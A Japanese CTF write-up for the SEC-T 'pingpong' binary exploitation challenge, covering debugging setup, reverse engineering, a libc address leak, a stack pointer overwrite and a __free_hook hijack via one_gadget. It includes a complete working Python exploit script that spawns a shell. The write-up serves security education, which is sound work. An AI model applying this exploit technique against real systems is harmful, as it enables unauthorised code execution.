SEC-T CTF pingpong のwriteup

概要

https://ctftime.org/task/6618
SEC-T CTFというので出題されたpingpongという問題。

ササッと解いた上手な人に教えてもらいました。
(bloggerに導入したmarkdownで書いたコードブロックは表示がよくなくて、見づらくてすみません)

デバッグの準備

gdb pedaでstartするとなぜかNo unwaited-for children left.中止 (コアダンプ)となるので、一旦runして途中まで進めて、そんで中断してからもう一回startするとなぜか大丈夫なのでgdb単体で実行するときはそうする。

これに限らずリモートデバッグした方がよい(らしいです。)

リモートデバッグのやりかた

最初はgdbで実行だが、
あとはリモートデバッグすべき
gdb -xでスクリプトを実行できるので、そのスクリプトに見たい位置にbreakpointを仕掛けてrunするようなコマンドを書いておけばよい

ファイル:cmd

file ./pingpong
target remote localhost:1234
start
c

ファイル:debug.sh

gdbserver localhost:1234 ./pingpong

いつものとおり

リモートサーバたてる

socat TCP-LISTEN:1025,reuseaddr,fork exec:./debug.sh

ソルバスクリプトでペイロードを送信したりいろいろする

python solver.py
中身テンプレート

#!/usr/bin/python
# -*- coding:utf-8 -*-
import socket, struct, telnetlib

# --- common funcs ---
def sock(remoteip, remoteport):
  s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  s.connect((remoteip, remoteport))
  return s, s.makefile('rw', bufsize=0)

def read_until(f, delim='\n'):
  data = ''
  while not data.endswith(delim):
    data += f.read(1)
  return data

def shell(s):
  t = telnetlib.Telnet()
  t.sock = s
  t.interact()

# def p(a): return struct.pack("<I",a)
# def u(a): return struct.unpack("<I",a)[0]

def p(a): return struct.pack("<Q",a)
def u(a): 
    return struct.unpack("<Q",a.ljust(8, "\0") )[0]

def invert(st):
    ans = []
    for ind in range(len(st)):
        if ind % 2 == 0:
            ans.append( chr(  ord(st[ind]) ^ 0x20)  )
            print( chr( ord(st[ind]) ^ 0x20 ) )
        else:
            ans.append(chr( ord(st[ind]) ))
            print( chr( ord(st[ind]) ))
    return "".join(ans)

# --- main ---
s, f = sock("localhost", 1025)    # 接続

# ここでなにかする
#f.write("<payload>")
#read_until(f)
#f.read(4)
#shell(s)

中身の見方( mainへの飛び方 )

ストリップされているのでgdb-peda$ break mainとかできない
IDAか何かでstartからmainに飛ぶとこを見てmainのアドレス(のオフセット、今回は0x0c43)を調べる
次にgdb-peda$ vmmapでテキストエリアのベースアドレス(今回は0x0000555555554000)を調べる。
足してmainのアドレスになるのでブレークポイントを仕掛ける。b *0x0000555555554000+0x0c43
そしてrunなりcontinueなりする

ちなみにメモリマップ

gdb-peda$ vmmap
Start              End                Perm Name
0x0000555555554000 0x0000555555556000 r-xp /media/sf_work/pingpong
0x0000555555755000 0x0000555555756000 r--p /media/sf_work/pingpong
0x0000555555756000 0x0000555555757000 rw-p /media/sf_work/pingpong
0x0000555555757000 0x0000555555778000 rw-p [heap]
0x00007ffff7a0d000 0x00007ffff7bcd000 r-xp /lib/x86_64-linux-gnu/libc-2.23.so
0x00007ffff7bcd000 0x00007ffff7dcd000 ---p /lib/x86_64-linux-gnu/libc-2.23.so
0x00007ffff7dcd000 0x00007ffff7dd1000 r--p /lib/x86_64-linux-gnu/libc-2.23.so
0x00007ffff7dd1000 0x00007ffff7dd3000 rw-p /lib/x86_64-linux-gnu/libc-2.23.so
0x00007ffff7dd3000 0x00007ffff7dd7000 rw-p mapped
0x00007ffff7dd7000 0x00007ffff7dfd000 r-xp /lib/x86_64-linux-gnu/ld-2.23.so
0x00007ffff7fd3000 0x00007ffff7fd6000 rw-p mapped
0x00007ffff7ff8000 0x00007ffff7ffa000 r--p [vvar]
0x00007ffff7ffa000 0x00007ffff7ffc000 r-xp [vdso]
0x00007ffff7ffc000 0x00007ffff7ffd000 r--p /lib/x86_64-linux-gnu/ld-2.23.so
0x00007ffff7ffd000 0x00007ffff7ffe000 rw-p /lib/x86_64-linux-gnu/ld-2.23.so
0x00007ffff7ffe000 0x00007ffff7fff000 rw-p mapped
0x00007ffffffde000 0x00007ffffffff000 rw-p [stack]
0xffffffffff600000 0xffffffffff601000 r-xp [vsyscall]

処理の中身を読んでいく

今までgdb-pedaとradar2だけで読んでいたが、CLIだけで読むより、適材適所ということで読むときはIDAを使うべきかもしれない。
なので下手な英語で変数名とかコメントとかなんか色々名前つけてわかりやすくした、IDAのファイル(ダウンロードリンク)を見てもらった方が早い。

以下、命令の横に書いてあるアドレスはASLRオフ時の自分の環境の話 (gdb-peda$ vmmpaで見たテキストエリアのベースアドレス0x0000555555554000を差し引くと元のプログラムのアドレスになる)

画像と説明はあんまり対応していない(IDAの画像は変数や関数の名前変えちゃってる)ので画像の方だけみたほうがわかりやすいと思われます

main関数

ロゴの表示( print_logo )

0x555555554c73: call 0x555555554af9(print_logo)
がpingpongのロゴの表示
別に見るところないので省略

メインであるpingやpongの処理 ( pingpong_loop )

0x555555554c7d: call 0x555555554b93(pingpong_loop)
ping:で入力受け付けたりpong:でなんか表示したりする、メインの処理を行う

pingやpongの処理 ( pingpong_loop )

pingとpongをループして処理している

pingの中身 (get_ping_char_and_proccess)

引数は1つ、スタック上のバッファのアドレス。0x7fffffffdb40

文字入力受付

0x555555554a5b: call 0x555555554810
で1文字ずつ入力を受ける。</getchar@plt>

0x555555554a63: cmp BYTE PTR [rbp-0x19],0xff
0x555555554a69: cmp BYTE PTR [rbp-0x19],0xa
で、$rbp-0x19に格納された1文字を0xff(ASLRオフ時のlibcとかのアドレスは0xffが沢山入るので、それをハネるためのイジワル?)0x0a(改行)と比較している
もし0xffでも0x0aでもないなら、またgetcharで一文字受け付ける

終わったら入力文字の長さをチェックする
0x555555554a76: call 0x5555555547e0 </strlen@plt>

23文字のaを入力し、starlenの結果は0x17 = 23になる

つづくmallocのあたりではスタックからヒープに移す準備…
0x555555554a83: call 0x555555554820 </malloc@plt>

偶数番目の文字を大文字(というか0x20とのXOR)

0x555555554a98: and eax,0x1
インデックスのLSB 1bitを見て、偶数と奇数で処理を分ける

0x555555554ac1: xor eax,0x20
インデックスが偶数の場合、0x20とasciiコードのXORをとる。アルファベットなら大文字と小文字が反転することになる。

0x555555554c1b: call 0x555555554800
プリント </printf@plt>

いろいろやったらまた
0x555555554be0: lea rdi,[rip+0x6ae]
に戻ってループ

IDAのファイル(ダウンロードリンク)見てもらったほうが早いが、 ヌル文字で終端させていない
後述の、スタック上のバッファ周りを見てもらうと、スタックの下の方(=メモリアドレス大の方)にちょうどよくlibcの関数(_IO_puts+362)のポインタと、その次に0x0が来ているのがわかる。
これによってうまいことやると、libcの関数のポインタの中身をリークさせることができる。

エクスプロイト

  1. 1回目のping:
  2. ping:のときに入力を受け付けるバッファの後ろ(メモリアドレス大の方)に0x7fffffffdbc8 --> 0x7ffff7a7c7fa (<_IO_puts+362>: cmp eax,0xffffffff)があるので、それをリークさせる
  3. 出力されたデータは1バイトとびに0x20とXORを取られているので同じことして戻す
  4. そこからlibcのベースアドレスを計算(libcはどれ使うか既知)
  5. 2回目のping:
  6. __free_hookの位置を、さっき求めたlibcのベースアドレスと、事前にASLRオフの状態gdb-peda$ p $__free_hookで検索したアドレスと、libcのベースアドレスから、オフセットを求めておき、__free_hookのランダマイズ後のアドレスを計算する
  7. 「入力した文字が格納される場所」を指すポインタが、「入力した文字が格納される場所」より後方(メモリアドレス大の方、スタックでは下の方)にあるので、「入力した文字が格納される場所」をオーバーフローさせて「入力した文字が格納される場所」を指すポインタを、__free_hookを指すように書き換える
  8. 3回目のping:
  9. __free_hookのアドレスを書き換えて、one_gadget(運がよけりゃ一発でシェルを起動できる)のアドレスにする
  10. 文字入力のping:ののちfreeが呼ばれる場所があるので、そのときに__free_hookが呼ばれてシェル起動
  11. 幸せ

となる

1. リークについて

入力を格納しておくバッファを見る

文字をに入力完了後…


gdb-peda$ tele 0x7fffffffdc40 16
0000| 0x7fffffffdc40 ('a' <repeats 23 times>)
0008| 0x7fffffffdc48 ('a' <repeats 15 times>)
0016| 0x7fffffffdc50 --> 0x61616161616161 ('aaaaaaa')
0024| 0x7fffffffdc58 --> 0x7fffffffdc6f --> 0x57ccc 
0032| 0x7fffffffdc60 --> 0x7fffffffde10 --> 0x1 
0040| 0x7fffffffdc68 --> 0xcc007fffffffdc7f 
0048| 0x7fffffffdc70 --> 0x57c 
0056| 0x7fffffffdc78 --> 0xcc007ffff7dd2620 
0064| 0x7fffffffdc80 --> 0x555555554d18 --> 0x96e2202020202020 
0072| 0x7fffffffdc88 --> 0x7ffff7a7c7fa (<_IO_puts+362>: cmp    eax,0xffffffff)
0080| 0x7fffffffdc90 --> 0x0 
0088| 0x7fffffffdc98 --> 0x7fffffffdcc0 --> 0x7fffffffdcf0 --> 0x7fffffffdd30 --> 0x555555554c90 (push   r15)
0096| 0x7fffffffdca0 --> 0x555555554860 (xor    ebp,ebp)
0104| 0x7fffffffdca8 --> 0x55555555498d (nop)
0112| 0x7fffffffdcb0 --> 0x7fffffffefec --> 0x70676e69702f2e00 ('')

(オフセット`0x7fffffffdbc8 – 0x7fffffffdc40`を計算して同じバイト数だけ’a’を送って)リークしようとしたあと


gdb-peda$ tele 0x7fffffffdb80 20
0000| 0x7fffffffdb80 ('a' <repeats 72 times>, "\372ǧ\367\377\177")
0008| 0x7fffffffdb88 ('a' <repeats 64 times>, "\372ǧ\367\377\177")
0016| 0x7fffffffdb90 ('a' <repeats 56 times>, "\372ǧ\367\377\177")
0024| 0x7fffffffdb98 ('a' <repeats 48 times>, "\372ǧ\367\377\177")
0032| 0x7fffffffdba0 ('a' <repeats 40 times>, "\372ǧ\367\377\177")
0040| 0x7fffffffdba8 ('a' <repeats 32 times>, "\372ǧ\367\377\177")
0048| 0x7fffffffdbb0 ('a' <repeats 24 times>, "\372ǧ\367\377\177")
0056| 0x7fffffffdbb8 ('a' <repeats 16 times>, "\372ǧ\367\377\177")
0064| 0x7fffffffdbc0 ("aaaaaaaa\372ǧ\367\377\177")
0072| 0x7fffffffdbc8 --> 0x7ffff7a7c7fa (<_IO_puts+362>: cmp    eax,0xffffffff)
0080| 0x7fffffffdbd0 --> 0x0 

確かめる…aaa...のお尻についているものは、ヌル文字まで読むとたしかに_IO_puts+362のアドレスが入るのでこれをprintすればリークできると確認できる。

gdb-peda$ x/32bx 0x7fffffffdbc0
0x7fffffffdbc0: 0x61 0x61 0x61 0x61 0x61 0x61 0x61 0x61
0x7fffffffdbc8: 0xfa 0xc7 0xa7 0xf7 0xff 0x7f 0x00 0x00
0x7fffffffdbd0: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00
0x7fffffffdbd8: 0x00 0xdc 0xff 0xff 0xff 0x7f 0x00 0x00

2. バッファオーバーフロー

先のIDAファイルで関数pingpong_loopからget_ping_char_and_processを呼んだあとスタックを見る…

gdb-peda$ stack 0x28
0000| 0x7fffffffdb30 --> 0x7fffffffdbf0 --> 0x7fffffffdc30 --> 0x555555554c90 (push   r15)
0008| 0x7fffffffdb38 --> 0x555555554bfd (mov    QWORD PTR [rbp-0x10],rax)
0016| 0x7fffffffdb40 --> 0x57c
0024| 0x7fffffffdb48 --> 0xcc007ffff7dd2620
0032| 0x7fffffffdb50 --> 0xa ('\n')
0040| 0x7fffffffdb58 --> 0x7fffffffdb6f --> 0x57ccc
0048| 0x7fffffffdb60 --> 0x7fffffffdd10 --> 0x1
0056| 0x7fffffffdb68 --> 0xcc007fffffffdb7f
0064| 0x7fffffffdb70 --> 0x57c
0072| 0x7fffffffdb78 --> 0xcc007ffff7dd2620
0080| 0x7fffffffdb80 --> 0x555555554d18 --> 0x96e2202020202020
0088| 0x7fffffffdb88 --> 0x7ffff7a7c7fa (<_IO_puts+362>: cmp    eax,0xffffffff)
0096| 0x7fffffffdb90 --> 0x0
0104| 0x7fffffffdb98 --> 0x7fffffffdbc0 --> 0x7fffffffdbf0 --> 0x7fffffffdc30 --> 0x555555554c90 (push   r15)
0112| 0x7fffffffdba0 --> 0x555555554860 (xor    ebp,ebp)
0120| 0x7fffffffdba8 --> 0x55555555498d (nop)
0128| 0x7fffffffdbb0 --> 0x7fffffffefec --> 0x70676e69702f2e00 ('')
0136| 0x7fffffffdbb8 --> 0xd9206eb282fc4d00
0144| 0x7fffffffdbc0 --> 0x7fffffffdbf0 --> 0x7fffffffdc30 --> 0x555555554c90 (push   r15)
0152| 0x7fffffffdbc8 --> 0x555555554b7c (nop)
0160| 0x7fffffffdbd0 --> 0x7fffffffdd28 --> 0x7fffffffe0fe --> 0x0
0168| 0x7fffffffdbd8 --> 0x7fffffffdb40 --> 0x57c
0176| 0x7fffffffdbe0 --> 0x7ffff7ffe168 --> 0x555555554000 --> 0x10102464c457f
0184| 0x7fffffffdbe8 --> 0xd9206eb282fc4d00
0192| 0x7fffffffdbf0 --> 0x7fffffffdc30 --> 0x555555554c90 (push   r15)

となっている。
先述のとおりバッファの開始位置は0x7fffffffdb40で、 そのバッファを指すポインターは0x7fffffffdbd8にある。

0x7fffffffdb38以降は先のIDAファイルでget_ping_char_and_proccessと名付けたサブルーチンのスタックフレーム、
0x7fffffffdbf8 ~ 0x7fffffffdb40は先のIDAファイルでpingpong_loopと名付けたサブルーチンのスタックフレームである。
スタックカナリアが使われているが、スタックフレームを跨いでいないのでなんの障害もなくバッファオーバーフローを利用して、バッファのポインタを書き換えることができる。

なので単に'a'0x7fffffffdbd8 - 0x7fffffffdb40個送り、そのあとに何か送ればポインタ0x7fffffffdbd8を書き換えることができる。

3. onegadget

上までの手順を踏めば、書き込み先のポインタ0x7fffffffdbd8が指す先が書き換えられており、__free_hookを指すようになる。
そこをonegadget(呼べばシェル起動できる)のアドレスで書き換える。何もせずただ送るだけでいい。

エクスプロイトコード

(変数名とかがアレなのはご容赦ください)


#!/usr/bin/python
# -*- coding:utf-8 -*-
import socket, struct, telnetlib

# --- common funcs ---
def sock(remoteip, remoteport):
  s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  s.connect((remoteip, remoteport))
  return s, s.makefile('rw', bufsize=0)

def read_until(f, delim='\n'):
  data = ''
  while not data.endswith(delim):
    data += f.read(1)
  return data

def shell(s):
  t = telnetlib.Telnet()
  t.sock = s
  t.interact()

# def p(a): return struct.pack("<I",a)
# def u(a): return struct.unpack("<I",a)[0]

def p(a): return struct.pack("<Q",a)
def u(a): 
    return struct.unpack("<Q",a.ljust(8, "\0") )[0]

def invert(st):
    ans = []
    for ind in range(len(st)):
        if ind % 2 == 0:
            ans.append( chr(  ord(st[ind]) ^ 0x20)  )
            print( chr( ord(st[ind]) ^ 0x20 ) )
        else:
            ans.append(chr( ord(st[ind]) ))
            print( chr( ord(st[ind]) ))
    return "".join(ans)

# --- main ---
s, f = sock("localhost", 1025)    # 接続


# ロゴや最初のプロンプトまで読み捨て
print( read_until(f, delim = ":") )

# _IO_puts+362のアドレスをリークさせる
base_addr_input_buffer = 0x7fffffffdc40
base_addr_leak_data = 0x7fffffffdc88
offset_leak_data = base_addr_leak_data - base_addr_input_buffer
f.write('a' * offset_leak_data + "\n") 

# プロンプトの読み捨て
read_until(f, delim=":")

# リークした_IO_puts+362のアドレス...の処理前(改行は使わないので捨てる)
ans = read_until(f)[:-1]

print(ans)
print(invert(ans) )

# 変なエンコードを解除
ans_inverted = invert(ans)

# アドレスに直す
leaked_address = u(ans_inverted[-6:])

print(str(hex(leaked_address  )) )

# _IO_puts+362の、ASLRオフの、ランダマイズされてないときのアドレス
notASLR_fixed_leaked_address = 0x7ffff7a7c7fa
# libcの、ASLRオフでランダマイズされてない時のベースアドレス
notASLR_fixed_base_addr_libc_vmmap = 0x00007ffff7a0d000

# ASLRオンのときのlibcベースアドレスの計算
offset_caused_by_ASLR = leaked_address - notASLR_fixed_leaked_address
base_addr_libc = offset_caused_by_ASLR + notASLR_fixed_base_addr_libc_vmmap
print("libc_base" + str(hex(base_addr_libc)) )

# 文字を保持するスタック上のバッファを指すポインタと、ポインタ自身が指す位置のオフセット
offset_from_buffer_pointer_to_buffer_head = 0x7fffffffdc18 - 0x7fffffffdb80  # 0x7fffffffdbd8(ポインタのアドレス) - 0x7fffffffdb40(ポインタの指すバッファの先頭位置)  のほうがわかりやすい
f.write("a" * offset_from_buffer_pointer_to_buffer_head)

# `gdb-peda$ p &__free_hook`で検索した、ランダマイズされていない時のfree_hookのアドレス
# pwntools か libc databaseを使う
addr_free_hook_notASLR =0x7ffff7dd37a8 
# ランダマイズされてるときのfree_hookのアドレス
offset_free_hook = addr_free_hook_notASLR - notASLR_fixed_base_addr_libc_vmmap
addr_free_hook = offset_free_hook + base_addr_libc

# 「文字を保持するスタック上のバッファを指すポインタ」をfree_hookを指すように書き換える
print("addr_free_hook" + hex(addr_free_hook) )
f.write(p(addr_free_hook) + "\n")

# one gadgetというツールか何かで見つけてきたone gadgetのアドレス
# スタックの状態に依存するとかなんとかで、普通は複数個試す
offset_onegadget = 0x4526a
addr_onegadget = offset_onegadget + base_addr_libc

# free_hookのアドレスをonegadgetのもので書き換える
f.write( p(addr_onegadget) + "\n")

# `ping:`で文字を受け付けたあとにfree()が実行されるところがあるため、free_hookが呼ばれて、
# ここでシェルが取れる

shell(s)                          # 対話シェルへ移行

コメント